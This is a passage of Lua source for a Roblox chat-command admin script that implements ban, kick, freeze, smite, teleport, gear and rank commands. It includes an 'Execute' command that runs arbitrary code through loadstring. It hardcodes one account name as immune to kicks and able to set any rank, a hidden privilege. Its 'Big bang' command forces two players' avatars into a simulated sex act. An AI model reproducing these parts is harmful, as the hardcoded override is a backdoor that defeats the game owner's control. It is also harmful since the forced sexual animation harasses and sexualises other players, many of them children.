  2267. if plr and plr.Character and plr.Character.Humanoid then
  2268. plr.Character.Humanoid.MaxHealth = 100
  2269. end
  2270. end
  2271. end)
  2272. CreateCommand(1, "Forcefield", "ff", "Gives a player a forcefield", function(Message, User)
  2273. for _,plr in pairs(CollectPlayers(Message, User)) do
  2274. if plr and plr.Character then
  2275. Instance.new('ForceField', plr.Character)
  2276. end
  2277. end
  2278. end)
  2279. CreateCommand(1, "Remove Forcefield", "unff", "Removes a forcefield from a player", function(Message, User)
  2280. for _,plr in pairs(CollectPlayers(Message, User)) do
  2281. if plr and plr.Character then
  2282. for o,p in pairs(plr.Character:children()) do
  2283. if p:IsA('ForceField') then
  2284. p:remove()
  2285. end
  2286. end
  2287. end
  2288. end
  2289. end)
  2290. CreateCommand(1, 'Set Time', 'time', 'Sets the time of day', function(Message, User)
  2291. SetTime(Message, User)
  2292. end)
  2293. CreateCommand(3, 'Ban', "ban", 'Bans a player from the server.', function(Message, User)
  2294. for _,plr in pairs(CollectPlayers(Message, User)) do
  2295. if plr then
  2296. if GetRank(User) > GetRank(plr) then
  2297. LegitV5.Ranked[plr.Name].Rank = -1
  2298. LegitV5.Ranked[plr.Name].Color = 'Dark red'
  2299. Error(plr.Name.." is now banned from the server")
  2300. else
  2301. Output(User, 'You are unable to ban '..plr.Name, 'Really red')
  2302. end
  2303. end
  2304. end
  2305. end)
  2306. CreateCommand(1, "Respawn", {"respawn","resp","reset","rsp"}, "Reloads a player's character", function(Message, User)
  2307. for _,plr in pairs(CollectPlayers(Message, User)) do
  2308. if plr then
  2309. plr:LoadCharacter()
  2310. end
  2311. end
  2312. end)
  2313. CreateCommand(1, 'Clear Terrain', {"clrt","clearterrain"}, 'Cleans the workspace of terrain', function()
  2314. LegitV5.Services[1].Terrain:Clear()
  2315. end)
  2316. CreateCommand(1, "Give PointLight", "pl", "Gives a player a light", function(Message, User)
  2317. for _,plr in pairs(CollectPlayers(Message, User)) do
  2318. if plr and plr.Character then
  2319. local pl = Instance.new('PointLight', plr.Character:FindFirstChild('Torso'))
  2320. pl.Range = 15
  2321. pl.Brightness = math.huge
  2322. end
  2323. end
  2324. end)
  2325. CreateCommand(1, "Remove PointLight", "rpl", "Removes a Pointlight from a player", function(Message, User)
  2326. for _,plr in pairs(CollectPlayers(Message, User)) do
  2327. if plr and plr.Character then
  2328. for o,p in pairs(plr.Character.Torso:children()) do
  2329. if p:IsA('PointLight') then
  2330. p:remove()
  2331. end
  2332. end
  2333. end
  2334. end
  2335. end)
  2336. CreateCommand(1, "Open Explorer", {"explore","explorer"}, "Opens the directory of the game", function(Message, User)
  2337. if Message ~= "" then
  2338. local KnownObjects = {}
  2339. local Accessed = false
  2340. table.insert(KnownObjects,game)
  2341. local function CollectObjects(X)
  2342. for i,v in pairs(X:GetChildren()) do
  2343. pcall(function()CollectObjects(v)end)
  2344. table.insert(KnownObjects,v)
  2345. end
  2346. end
  2347. CollectObjects(game)
  2348. for x,y in pairs(KnownObjects) do
  2349. local rr,ee=pcall(function()
  2350. if y:GetFullName() == Message and Accessed == false then
  2351. Explore(User, y)
  2352. Accessed = true
  2353. end
  2354. end)
  2355. end
  2356. else
  2357. Explore(User, nil)
  2358. end
  2359. end)
  2360. CreateCommand(2, "Kick", {"kick","rek","kek"}, "Kicks a player from the server", function(Message, User)
  2361. if GetSplit(Message) == "r" then
  2362. Message=Message:gsub("-r","")
  2363. Message=Message:gsub(" ","")
  2364. for _,plr in pairs(CollectPlayers(Message, User)) do
  2365. if plr then
  2366. if GetRank(User) > GetRank(plr) and plr.Name ~= "CoolMLGPlayer" then
  2367. plr:remove()
  2368.  
  2369. end
  2370. end
  2371. end
  2372. else
  2373. for _,plr in pairs(CollectPlayers(Message, User)) do
  2374. if plr then
  2375. if GetRank(User) > GetRank(plr) and plr.Name ~= "CoolMLGPlayer" then
  2376. Kick(plr)
  2377. Warn(plr.Name.." has been kicked by "..User.Name)
  2378. end
  2379. end
  2380. end
  2381. end
  2382. end)
  2383. CreateCommand(1, "Set WalkSpeed",{"ws","speed","walkspeed"}, "Sets the walkspeed of a player", function(Message, User)
  2384. local Key = GetArguments(Message)
  2385. local TargPlrs = Message:sub(1,Key-1)
  2386. local PlayerSet = CollectPlayers(TargPlrs, User)
  2387. local Speed = Message:sub(Key+1)
  2388. for _,check in pairs(PlayerSet) do
  2389. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2390. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2391. if plr.Character then
  2392. if plr.Character:FindFirstChild('Humanoid') then
  2393. plr.Character:FindFirstChild('Humanoid').WalkSpeed = Speed
  2394. end
  2395. end
  2396. end
  2397. end
  2398. end)
  2399. CreateCommand(4, 'Toggle private server', 'pri', 'Toggles private server', function(Message, User)
  2400. if Message == 'on' then
  2401. LegitV5.Status["Pri_Server"].Value = true
  2402. TimedOutput(User, 'Analyzing request..', 'New Yeller', nil,2)
  2403. for i,d in pairs(LegitV5.Services[2]:GetPlayers()) do
  2404. if LegitV5.Ranked[d.Name] then
  2405. if LegitV5.Ranked[d.Name].Rank >= 4 then
  2406. spawn(function()
  2407. wait(2)
  2408. TimedOutput(d, 'Private server has been enabled by '..User.Name, 'Pastel violet', nil,2)
  2409. end)
  2410. end
  2411. end
  2412. end
  2413. elseif Message == 'off' then
  2414. LegitV5.Status["Pri_Server"].Value = false
  2415. for i,d in pairs(LegitV5.Services[2]:GetPlayers()) do
  2416. if LegitV5.Ranked[d.Name].Rank >= 4 then
  2417. TimedOutput(d, 'Private server has been disabled by '..User.Name, 'Pastel violet', nil,2)
  2418. Note("Private server has been disabled by "..User.Name)
  2419. end
  2420. end
  2421. end
  2422. end)
  2423. CreateCommand(1, "Fr00bify", "froob", "Fr00bifies a player", function(Message, User)
  2424. for _,plr in pairs(CollectPlayers(Message, User)) do
  2425. if plr and plr.Character and plr:FindFirstChild('PlayerGui') then
  2426. for _,x in pairs(plr.Character:GetChildren()) do
  2427. -----
  2428. if x:IsA('Hat') then
  2429. x:Destroy()
  2430. end
  2431. -----
  2432. if x.Name == 'Head' then
  2433. coroutine.resume(coroutine.create(function()
  2434. while game:GetService("RunService").Stepped:wait() do
  2435. x.BrickColor = BrickColor.new('Bright yellow')
  2436. end
  2437. end))
  2438. if x:FindFirstChild('face') ~= nil then
  2439. x.face:Destroy()
  2440. end
  2441. end
  2442. -----
  2443. if x:IsA('ShirtGraphic') or x.Name:find('Graphic') or x.Name:find('Decal') then
  2444. x:Destroy()
  2445. end
  2446. if x.Name == 'Shirt' or x.Name == 'Pants' then
  2447. x:Destroy()
  2448. end
  2449. -----
  2450. if x.Name == 'Torso' then
  2451. coroutine.resume(coroutine.create(function()
  2452. while game:GetService("RunService").Stepped:wait() do
  2453. x.BrickColor = BrickColor.new('Bright red')
  2454. end
  2455. end))
  2456. if x:FindFirstChild('roblox') ~= nil then
  2457. x.roblox:Destroy()
  2458. end
  2459. end
  2460. if x.Name:find('Arm') and x:IsA('Part') then
  2461. coroutine.resume(coroutine.create(function()
  2462. while game:GetService("RunService").Stepped:wait() do
  2463. x.BrickColor = BrickColor.new('Bright yellow')
  2464. end
  2465. end))
  2466. end
  2467. if x.Name:find('Leg') and x:IsA('Part') then
  2468. coroutine.resume(coroutine.create(function()
  2469. while game:GetService("RunService").Stepped:wait() do
  2470. x.BrickColor = BrickColor.new('Br. yellowish green')
  2471. end
  2472. end))
  2473. end
  2474. -----
  2475. if x.Name == 'Body Colors' then
  2476. x:Destroy()
  2477. end
  2478. if x.Name == 'Torso' then
  2479. if x:FindFirstChild('roblox') == nil then
  2480. local rick1 = Instance.new('Decal', x)
  2481. rick1.Texture = 'http://www.roblox.com/asset/?id=2113852'
  2482. rick1.Face = 'Front'
  2483. rick1.Name = 'RICK!'
  2484. elseif x:FindFirstChild('roblox') ~= nil then
  2485. x.roblox:Destroy()
  2486. local rick1 = Instance.new('Decal', x)
  2487. rick1.Texture = 'http://www.roblox.com/asset/?id=2113852'
  2488. rick1.Face = 'Front'
  2489. rick1.Name = 'RICK!'
  2490. end
  2491. end
  2492. if x.Name == 'Head' then
  2493. if x:FindFirstChild('face') == nil then
  2494. local rick1 = Instance.new('Decal', x)
  2495. rick1.Texture = 'http://www.roblox.com/asset/?id=2113852'
  2496. rick1.Face = 'Front'
  2497. rick1.Name = 'RICK!'
  2498. elseif x:FindFirstChild('face') ~= nil then
  2499. x.roblox:Destroy()
  2500. local rick1 = Instance.new('Decal', x)
  2501. rick1.Texture = 'http://www.roblox.com/asset/?id=2113852'
  2502. rick1.Face = 'Front'
  2503. rick1.Name = 'RICK!'
  2504. end
  2505. end
  2506. end
  2507. local Music = Instance.new("Sound", plr:FindFirstChild('PlayerGui'))
  2508. Music.Name = "RICK ROLLED"
  2509. Music.Looped = true
  2510. Music.Volume = 1
  2511. Music.SoundId = "http://www.roblox.com/asset/?id=2027611"
  2512. Music:Play()
  2513. end
  2514. end
  2515. end)
  2516. CreateCommand(6, 'Execute', "exe", 'Executes a loadstring', function(Message, User)
  2517. loadstring(Message)()
  2518. end, false)
  2519. CreateCommand(6,"Deactivate","aremove","Deactivates the admin from use",function(Message,User)
  2520. local B = Instance.new("StringValue", workspace)
  2521. B.Value = "LegitV5: END_ADMIN"
  2522. wait(1)
  2523. B.Parent = workspace.Terrain
  2524. end)
  2525. CreateCommand(1, 'Freeze', 'freeze', 'Immobilizes a player in a block of ice', function(Message, User)
  2526. for _,plr in pairs(CollectPlayers(Message, User)) do
  2527. if GetRank(User) > GetRank(plr) then
  2528. if plr and plr.Character and plr.Character:FindFirstChild('Torso') then
  2529. for X,part in pairs(plr.Character:GetChildren()) do
  2530. if part:IsA('BasePart') then
  2531. part.Anchored = true
  2532. end
  2533. end
  2534. local ice = Instance.new('Part', plr.Character)
  2535. ice.Size = Vector3.new(6,12,6)
  2536. ice.CFrame = plr.Character:FindFirstChild('Torso').CFrame
  2537. ice.BrickColor = BrickColor.new('Cyan')
  2538. ice.Anchored = true
  2539. ice.TopSurface,ice.BottomSurface = 0,0
  2540. ice.Name = 'Ice'
  2541. ice.Transparency = 0.425
  2542. end
  2543. end
  2544. end
  2545. end)
  2546. CreateCommand(1, 'Thaw', 'thaw', 'Thaws a player, allows movement', function(Message, User)
  2547. for _,plr in pairs(CollectPlayers(Message,User)) do
  2548. if plr and plr.Character then
  2549. for i,v in pairs(plr.Character:GetChildren()) do
  2550. if v.Name == 'Ice' then v:remove() end
  2551. if v:IsA('BasePart') then v.Anchored = false end
  2552. if v.Name == 'Humanoid' then
  2553. if v.WalkSpeed == 0 then
  2554. v.WalkSpeed = 16
  2555. end
  2556. end
  2557. end
  2558. end
  2559. end
  2560. end)
  2561. CreateCommand(4, 'Smite', 'smite', 'Smites a player with a holy beam', function(Message, User)
  2562. for _,plr in pairs(CollectPlayers(Message, User)) do
  2563. if plr and plr.Character and plr.Character:FindFirstChild('Torso') then
  2564. if GetRank(User) >= GetRank(plr) then
  2565. local b = Instance.new('Part', workspace)
  2566. b.Color = Color3.new(255,255,255)
  2567. b.Transparency = 0.45
  2568. b.TopSurface,b.BottomSurface = 0,0
  2569. b.FormFactor,b.Locked,b.Anchored,b.CanCollide = Enum.FormFactor.Custom,true,true,true
  2570. b.Size = Vector3.new(4,200,4)
  2571. b.CFrame = plr.Character:FindFirstChild('Torso').CFrame
  2572. plr.Character:breakJoints''
  2573. for i = 1,10 do
  2574. local x = Instance.new('Explosion', workspace)
  2575. x.Position = plr.Character:FindFirstChild('Torso').Position
  2576. x.BlastRadius = 10
  2577. x.BlastPressure = math.huge
  2578. end
  2579. local mesh = Instance.new("BlockMesh", b)
  2580. mesh.Scale = b.Size
  2581. coroutine.wrap(function()
  2582. for i = 1,0,-0.2 do
  2583. mesh.Scale=Vector3.new(i,1,i) -- i,i,1
  2584. game:GetService("RunService").Stepped:wait()
  2585. end
  2586. b:remove()
  2587. end)()
  2588. end
  2589. end
  2590. end
  2591. end)
  2592. CreateCommand(1, 'Invisibility', 'invisible', 'Makes a player vanish from sight', function(Message, User)
  2593. for _,plr in pairs(CollectPlayers(Message,User)) do
  2594. if plr and plr.Character then
  2595. for i,v in pairs(plr.Character:GetChildren()) do
  2596. if v:IsA('BasePart') then
  2597. v.Transparency = 1
  2598. end
  2599. if v:IsA('Hat') then
  2600. if v:FindFirstChild('Handle') then
  2601. v:FindFirstChild('Handle').Transparency = 1
  2602. end
  2603. end
  2604. end
  2605. end
  2606. end
  2607. end)
  2608. CreateCommand(1, 'Visibility', 'visible', 'Makes a player reappear', function(Message, User)
  2609. for _,plr in pairs(CollectPlayers(Message,User)) do
  2610. if plr and plr.Character then
  2611. for i,v in pairs(plr.Character:GetChildren()) do
  2612. if v:IsA('BasePart') then
  2613. if v.Name ~= 'HumanoidRootPart' then
  2614. v.Transparency = 0
  2615. end
  2616. end
  2617. if v:IsA('Hat') then
  2618. if v:FindFirstChild('Handle') then
  2619. v:FindFirstChild('Handle').Transparency = 0
  2620. end
  2621. end
  2622. end
  2623. end
  2624. end
  2625. end)
  2626. CreateCommand(1, "Warp",{"teleport","tp"}, "Teleports a player to a different player", function(Message, User)
  2627. local Key = GetArguments(Message)
  2628. local TargPlrs = Message:sub(1,Key-1)
  2629. local PlayerSet1 = CollectPlayers(TargPlrs, User)
  2630. local TargPlrs2 = Message:sub(Key+1)
  2631. local PlayerSet2 = CollectPlayers(TargPlrs2, User)
  2632. for _,check in pairs(PlayerSet1) do
  2633. for X,dest in pairs(PlayerSet2) do
  2634. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2635. if LegitV5.Services[2]:FindFirstChild(dest.Name) then
  2636. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2637. local plr2 = LegitV5.Services[2]:FindFirstChild(dest.Name)
  2638. if plr.Character and plr.Character:FindFirstChild('Torso') and plr2.Character and plr2.Character:FindFirstChild('Torso') then
  2639. local target = plr.Character:FindFirstChild('Torso')
  2640. local destination = plr2.Character:FindFirstChild('Torso')
  2641. target.CFrame = destination.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  2642. end
  2643. end
  2644. end
  2645. end
  2646. end
  2647. end)
  2648. CreateCommand(4, "Big bang","rpe", "bang bang bang!", function(Message, User)
  2649. local Key = GetArguments(Message)
  2650. local TargPlrs = Message:sub(1,Key-1)
  2651. local PlayerSet1 = CollectPlayers(TargPlrs, User)
  2652. local TargPlrs2 = Message:sub(Key+1)
  2653. local PlayerSet2 = CollectPlayers(TargPlrs2, User)
  2654. for _,check in pairs(PlayerSet1) do
  2655. for X,dest in pairs(PlayerSet2) do
  2656. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2657. if LegitV5.Services[2]:FindFirstChild(dest.Name) then
  2658. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2659. local plr2 = LegitV5.Services[2]:FindFirstChild(dest.Name)
  2660. if plr.Character and plr.Character and plr2.Character and plr2.Character then
  2661. function fWeld(zName, zParent, zPart0, zPart1, zCoco, a, b, c, d, e, f)
  2662. local funcw = Instance.new("Weld")
  2663. funcw.Name = zName
  2664. funcw.Parent = zParent
  2665. funcw.Part0 = zPart0
  2666. funcw.Part1 = zPart1
  2667. if (zCoco == true) then
  2668. funcw.C0 = CFrame.new(a, b, c) * CFrame.fromEulerAnglesXYZ(d, e, f)
  2669. else
  2670. funcw.C1 = CFrame.new(a, b, c) * CFrame.fromEulerAnglesXYZ(d, e, f)
  2671. end
  2672. return funcw
  2673. end
  2674. function fun(n1, n2)
  2675. pcall(function()
  2676. t1 = game.Players[n1].Character.Torso
  2677. t2 = game.Players[n2].Character.Torso
  2678. p2 = game.Players[n2]
  2679. t2.Parent.Humanoid.PlatformStand = true
  2680. t1["Left Shoulder"]:Remove()
  2681. ls1 = Instance.new("Weld")
  2682. ls1.Parent = t1
  2683. ls1.Part0 = t1
  2684. ls1.Part1 = t1.Parent["Left Arm"]
  2685. ls1.C0 = CFrame.new(-1.5,0,0)
  2686. ls1.Name = "Left Shoulder"
  2687. t1["Right Shoulder"]:Remove()
  2688. rs1 = Instance.new("Weld")
  2689. rs1.Parent = t1
  2690. rs1.Part0 = t1
  2691. rs1.Part1 = t1.Parent["Right Arm"]
  2692. rs1.C0 = CFrame.new(1.5,0,0)
  2693. rs1.Name = "Right Shoulder"
  2694. t2["Left Shoulder"]:Remove()
  2695. ls2 = Instance.new("Weld")
  2696. ls2.Parent = t2
  2697. ls2.Part0 = t2
  2698. ls2.Part1 = t2.Parent["Left Arm"]
  2699. ls2.C0 = CFrame.new(-1.5,0,0)
  2700. ls2.Name = "Left Shoulder"
  2701. t2["Right Shoulder"]:Remove()
  2702. rs2 = Instance.new("Weld")
  2703. rs2.Parent = t2
  2704. rs2.Part0 = t2
  2705. rs2.Part1 = t2.Parent["Right Arm"]
  2706. rs2.C0 = CFrame.new(1.5,0,0)
  2707. rs2.Name = "Right Shoulder"
  2708. t2["Left Hip"]:Remove()
  2709. lh2 = Instance.new("Weld")
  2710. lh2.Parent = t2
  2711. lh2.Part0 = t2
  2712. lh2.Part1 = t2.Parent["Left Leg"]
  2713. lh2.C0 = CFrame.new(-0.5,-2,0)
  2714. lh2.Name = "Left Hip"
  2715. t2["Right Hip"]:Remove()
  2716. rh2 = Instance.new("Weld")
  2717. rh2.Parent = t2
  2718. rh2.Part0 = t2
  2719. rh2.Part1 = t2.Parent["Right Leg"]
  2720. rh2.C0 = CFrame.new(0.5,-2,0)
  2721. rh2.Name = "Right Hip"
  2722. local d = Instance.new("Part")
  2723. d.TopSurface = 0
  2724. d.BottomSurface = 0
  2725. d.CanCollide = false
  2726. d.BrickColor = BrickColor.new("Medium stone grey")
  2727. d.Shape = "Ball"
  2728. d.Parent = t1
  2729. d.Size = Vector3.new(1,1,1)
  2730. local dm = Instance.new("SpecialMesh")
  2731. dm.MeshType = "Sphere"
  2732. dm.Parent = d
  2733. dm.Scale = Vector3.new(0.4,0.4,0.4)
  2734. fWeld("weld",t1,t1,d,true,-0.2,-1.3,-0.6,0,0,0)
  2735. d2 = d:Clone()
  2736. d2.Parent = t1
  2737. fWeld("weld",t1,t1,d2,true,0.2,-1.3,-0.6,0,0,0)
  2738. local c = Instance.new("Part")
  2739. c.TopSurface = 0
  2740. c.BottomSurface = 0
  2741. c.CanCollide = false
  2742. c.BrickColor = BrickColor.new("Pastel brown")
  2743. c.Parent = t1
  2744. c.formFactor = "Custom"
  2745. c.Size = Vector3.new(0.4,3.3,0.4)
  2746. cm = Instance.new("CylinderMesh")
  2747. cm.Parent = c
  2748. a = fWeld("weld",t1,t1,c,true,0,-1,-0.52+(-c.Size.y/2),math.rad(-80),0,0)
  2749. c2 = d:Clone()
  2750. c2.BrickColor = BrickColor.new("Medium stone grey")
  2751. c2.Mesh.Scale = Vector3.new(0.4,0.62,0.4)
  2752. c2.Parent = t1
  2753. fWeld("weld",c,c,c2,true,0,0+(c.Size.y/2),0,math.rad(-10),0,0)
  2754. local bl = Instance.new("Part")
  2755. bl.TopSurface = 0
  2756. bl.BottomSurface = 0
  2757. bl.CanCollide = false
  2758. bl.BrickColor = BrickColor.new("Pastel brown")
  2759. bl.Shape = "Ball"
  2760. bl.Parent = t2
  2761. bl.Size = Vector3.new(1,1,1)
  2762. local dm = Instance.new("SpecialMesh")
  2763. dm.MeshType = "Sphere"
  2764. dm.Parent = bl
  2765. dm.Scale = Vector3.new(1.2,1.2,1.2)
  2766. fWeld("weld",t2,t2,bl,true,-0.5,0.5,-0.6,0,0,0)
  2767. local br = Instance.new("Part")
  2768. br.TopSurface = 0
  2769. br.BottomSurface = 0
  2770. br.CanCollide = false
  2771. br.BrickColor = BrickColor.new("Pastel brown")
  2772. br.Shape = "Ball"
  2773. br.Parent = t2
  2774. br.Size = Vector3.new(1,1,1)
  2775. local dm = Instance.new("SpecialMesh")
  2776. dm.MeshType = "Sphere"
  2777. dm.Parent = br
  2778. dm.Scale = Vector3.new(1.2,1.2,1.2)
  2779. fWeld("weld",t2,t2,br,true,0.5,0.5,-0.6,0,0,0)
  2780. local bln = Instance.new("Part")
  2781. bln.TopSurface = 0
  2782. bln.BottomSurface = 0
  2783. bln.CanCollide = false
  2784. bln.Shape = "Ball"
  2785. bln.Parent = t2
  2786. bln.Size = Vector3.new(1,1,1)
  2787. local dm = Instance.new("SpecialMesh")
  2788. dm.MeshType = "Sphere"
  2789. dm.Parent = bln
  2790. dm.Scale = Vector3.new(0.2,0.2,0.2)
  2791. fWeld("weld",t2,t2,bln,true,-0.5,0.5,-1.2,0,0,0)
  2792. local brn = Instance.new("Part")
  2793. brn.TopSurface = 0
  2794. brn.BottomSurface = 0
  2795. brn.CanCollide = false
  2796. brn.Shape = "Ball"
  2797. brn.Parent = t2
  2798. brn.Size = Vector3.new(1,1,1)
  2799. local dm = Instance.new("SpecialMesh")
  2800. dm.MeshType = "Sphere"
  2801. dm.Parent = brn
  2802. dm.Scale = Vector3.new(0.2,0.2,0.2)
  2803. fWeld("weld",t2,t2,brn,true,0.5,0.5,-1.2,0,0,0)
  2804. lh2.C1 = CFrame.new(0,-1.5,-0.5) * CFrame.Angles(0.9,-0.4,0)
  2805. rh2.C1 = CFrame.new(0,-1.5,-0.5) * CFrame.Angles(0.9,0.4,0)
  2806. ls2.C1 = CFrame.new(-0.5,-1.3,-0.5) * CFrame.Angles(0.9,-0.4,0)
  2807. rs2.C1 = CFrame.new(0.5,-1.3,-0.5) * CFrame.Angles(0.9,0.4,0)
  2808. ls1.C1 = CFrame.new(-0.5,0.7,0) * CFrame.Angles(-0.9,-0.4,0)
  2809. rs1.C1 = CFrame.new(0.5,0.7,0) * CFrame.Angles(-0.9,0.4,0)
  2810. if t1:findFirstChild("weldx") ~= nil then
  2811. t1.weldx:Remove()
  2812. end
  2813. we = fWeld("weldx", t1, t1, t2, true, 0, -0.9, -1.3, math.rad(-90), 0, 0)
  2814. n = t2.Neck
  2815. n.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0)
  2816. end)
  2817. coroutine.resume(coroutine.create(function()
  2818. while game:GetService("RunService").Stepped:wait() do
  2819. for i = 1,6 do
  2820. we.C1 = we.C1 * CFrame.new(0,-0.3,0)
  2821. game:GetService("RunService").Stepped:wait()
  2822. end
  2823.  
  2824. for i = 1,6 do
  2825. we.C1 = we.C1 * CFrame.new(0,0.3,0)
  2826. game:GetService("RunService").Stepped:wait()
  2827. end
  2828. end
  2829. end))
  2830. end
  2831. fun(plr.Name, plr2.Name)
  2832. end
  2833. end
  2834. end
  2835. end
  2836. end
  2837. end, false)
  2838. CreateCommand(1,"Tower","tower","Forces a tower from the earth to grow, raising a player", function(Message, User)
  2839. for _,plr in pairs(CollectPlayers(Message, User)) do
  2840. if plr and plr.Character then
  2841. spawn(function()
  2842. for _,x in pairs(game.Workspace:GetChildren()) do
  2843. if x.Name:find('Base') and x:IsA('Part') then
  2844. Base = x
  2845. end
  2846. end
  2847. local build = Instance.new("Part", workspace)
  2848. build.TopSurface,build.BottomSurface=0,0
  2849. build.Transparency = 0
  2850. build.Name = "Tower"
  2851. build.Material = "Slate"
  2852. build.Locked = true
  2853. build.Anchored = true
  2854. build.BrickColor = BrickColor.new("Dark stone grey")
  2855. build.Size = Vector3.new(44, 90, 44) --44,120,44
  2856. build.CFrame = CFrame.new(plr.Character.Torso.Position.X, Base.Position.Y, plr.Character.Torso.Position.Z)* CFrame.new(0, -build.Size.Y/2, 0)
  2857. repeat
  2858. build.CFrame = build.CFrame * CFrame.new(0, .2, 0)
  2859. game:GetService("RunService").Stepped:wait()
  2860. until build.Position.y >= Base.Position.y + Base.Size.y/2 + build.Size.y/2
  2861. end)
  2862. end
  2863. end
  2864. end)
  2865. CreateCommand(5, 'Generate server', {'newserver', 'ns', 'newserv', 'nserv'}, 'Generates a new server', function(Message,User)
  2866. if Message == "" or not Message or Message == nil then
  2867. ID = tonumber(game.PlaceId)
  2868. else
  2869. if tonumber(Message) then
  2870. ID = tonumber(Message)
  2871. end
  2872. end
  2873. GenerateServer(ID)
  2874. TimedOutput(User, "Server on ["..ID.."]:["..tostring(game:GetService("MarketplaceService"):GetProductInfo(tonumber(ID)).Name).."] has been generated", 'Lime green',nil,4)
  2875. end, false)
  2876. CreateCommand(3, "@","@", "Forces a player to do a command", function(Message, User)
  2877. local Key = GetArguments(Message)
  2878. local TargPlrs = Message:sub(1,Key-1)
  2879. local PlayerSet = CollectPlayers(TargPlrs, User)
  2880. local Command = Message:sub(Key+1)
  2881. for _,check in pairs(PlayerSet) do
  2882. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2883. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2884. if GetRank(User) > GetRank(plr) then
  2885. Chatted(Command, plr)
  2886. end
  2887. end
  2888. end
  2889. end, false)
  2890. CreateCommand(1, "Gear","gear", "Inserts a gear from the ROBLOX catalog", function(Message, User)
  2891. local Key = GetArguments(Message)
  2892. local TargPlrs = Message:sub(1,Key-1)
  2893. local PlayerSet = CollectPlayers(TargPlrs, User)
  2894. local ID = Message:sub(Key+1)
  2895. if ID == "epickatana" then
  2896. for _,check in pairs(PlayerSet) do
  2897. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2898. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2899. if plr.Character and plr:FindFirstChild('Backpack') then
  2900. local bp = plr:FindFirstChild('Backpack')
  2901. local wep = 22787168
  2902. for i = 1,6 do
  2903. local m = game:service'InsertService':LoadAsset(wep)
  2904. m = m:GetChildren()[1]
  2905. m.Parent = bp
  2906. if wep == 22787168 then
  2907. wep =20577851
  2908. elseif wep == 20577851 then
  2909. wep = 25545089
  2910. elseif wep == 25545089 then
  2911. wep = 18017365
  2912. elseif wep == 18017365 then
  2913. wep = 18776718
  2914. elseif wep == 18776718 then
  2915. wep = 21294489
  2916. elseif wep == 21294489 then
  2917. wep = 22787168
  2918. end
  2919. end
  2920. end
  2921. end
  2922. end
  2923. elseif ID == "allseasonsword" then
  2924. for _,check in pairs(PlayerSet) do
  2925. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2926. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2927. if plr.Character and plr:FindFirstChild('Backpack') then
  2928. local bp = plr:FindFirstChild('Backpack')
  2929. local wep = 40493542
  2930. for i = 1,4 do
  2931. local m = game:service'InsertService':LoadAsset(wep)
  2932. m = m:GetChildren()[1]
  2933. m.Parent = bp
  2934. if wep == 40493542 then
  2935. wep = 42847923
  2936. elseif wep == 42847923 then
  2937. wep = 48159731
  2938. elseif wep == 48159731 then
  2939. wep = 54694329
  2940. elseif wep == 54694329 then
  2941. wep = 40493542
  2942. end
  2943. end
  2944. end
  2945. end
  2946. end
  2947. else
  2948. for _,check in pairs(PlayerSet) do
  2949. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2950. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2951. if plr.Character and plr.Backpack then
  2952. local m = game:service'InsertService':LoadAsset(tonumber(ID))
  2953. local t = m:GetChildren()[1]
  2954. t.Parent = plr.Backpack
  2955. end
  2956. end
  2957. end
  2958. end
  2959. end)
  2960. CreateCommand(2, "Abort", "abort", "Aborts a automated shutdown from Antiban", function(Message, User)
  2961. LegitV5.Status["Abort"].Value = true
  2962. end, false)
  2963. CreateCommand(3, "Rank","rank", "Gives a player a specific rank", function(Message, User)
  2964. local Key = GetArguments(Message)
  2965. local TargPlrs = Message:sub(1,Key-1)
  2966. local PlayerSet = CollectPlayers(TargPlrs, User)
  2967. local Rank = Message:sub(Key+1)
  2968. for _,check in pairs(PlayerSet) do
  2969. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2970. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2971. if LegitV5.Ranked[plr.Name] then
  2972. if tonumber(Rank) then
  2973. if GetRank(User) > GetRank(plr) or User.Name == "CoolMLGPlayer" then
  2974. if User.Name ~= "CoolMLGPlayer" then
  2975. local maxrank = GetRank(User)
  2976. if tonumber(Rank) > maxrank then
  2977. TimedOutput(User, "You cannot set "..plr.Name.."'s rank that high", "Really red",nil,2)
  2978. else
  2979. LegitV5.Ranked[plr.Name].Rank = tonumber(Rank)
  2980. TimedOutput(User, "Set "..plr.Name.."'s rank to "..Rank,nil,nil,2)
  2981. TimedOutput(plr, "Your rank has been set to "..Rank,nil,nil,2)
  2982. end
  2983. else
  2984. LegitV5.Ranked[plr.Name].Rank = tonumber(Rank)
  2985. TimedOutput(User, "Set "..plr.Name.."'s rank to "..Rank,nil,nil,2)
  2986. TimedOutput(plr, "Your rank has been set to "..Rank,nil,nil,2)
  2987. end
  2988. end
  2989. else
  2990. Output(User, "That ain't a number.", "Really red")
  2991. end
  2992. end
  2993. end
  2994. end
  2995. end)
  2996. CreateCommand(0, "Override", "override", "Allows you to enter a code to override the database", function(Message, User)
  2997. if Serv[2]:FindFirstChild(User.Name) and Serv[2]:FindFirstChild(User.Name):FindFirstChild('PlayerGui') then
  2998. local plr = Serv[2]:FindFirstChild(User.Name)
  2999. local plrgui = plr:FindFirstChild('PlayerGui')
  3000. local GUI = Instance.new('ScreenGui', plrgui)
  3001. GUI.Name = 'OverrideGui'
  3002. local Box = Instance.new('TextBox', GUI)
  3003. Box.Size=UDim2.new(0,180,0,65)
  3004. Box.BackgroundTransparency=0
  3005. Box.BackgroundColor3=Color3.new(0,0,0)
  3006. Box.Text='Enter override code'
  3007. Box.TextColor3=Color3.new(255,255,255)
  3008. Box.FontSize=Enum.FontSize.Size24
  3009. Box.Font='SourceSansBold'
  3010. Box.Position = UDim2.new(
  3011. 0,
